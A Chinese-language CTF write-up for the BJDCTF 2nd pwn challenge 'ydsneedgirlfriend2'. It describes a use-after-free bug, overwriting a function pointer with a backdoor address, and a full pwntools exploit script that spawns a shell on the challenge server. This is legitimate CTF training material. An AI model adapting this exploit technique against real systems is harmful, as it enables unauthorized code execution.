[BJDCTF 2nd]ydsneedgirlfriend2_一看就会....

文件信息

在这里插入图片描述

IDA截图

  • add
    在这里插入图片描述
  • delete
    在这里插入图片描述
  • free
    在这里插入图片描述

漏洞点

在这里插入图片描述

  • 在free函数的时候,存在着UAF漏洞,只是free掉了指针个context,但是没有置为NULL

总结点

  • 如何利用:将puts指针修改为后门函数,getshell。
  • 出错点:第一次在使用system函数的时候,将地址/bin/sh(0x400D96)开始的地址。在本地可以getshell,但是远程失败了。
    在这里插入图片描述

EXP1

# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
local = 1
if local:
    p = process("./ydsneedgirlfriend2")
else:
    p= remote('node3.buuoj.cn',26040)

def add(size,context):
    p.recvuntil("u choice :\n")
    p.sendline(str(1))
    p.recvuntil("Please input the length of her name:\n")
    p.sendline(str(size))
    p.recvuntil("Please tell me her name:\n")
    p.sendline(context)

def delete(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(2))
    p.recvuntil("Index :")
    p.sendline(str(index))


def show(index):
    p.recvuntil("u choice :\n")
    p.sendline(str(3))
    p.recvuntil("Index :")
    p.sendline(str(index))

#----
system_sh_addr = 0x400D86
#----

def pwn():
    add(0x30,"aaaa")  #0 #这里创建多大的chunk都可以,最好是大于0x20,减少后面申请chunk。
    delete(0)
    add(0x10,p64(system_sh_addr)*2)
    #pause()
    show(0)

    p.interactive()
    
if __name__ == "__main__":
    pwn()



  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值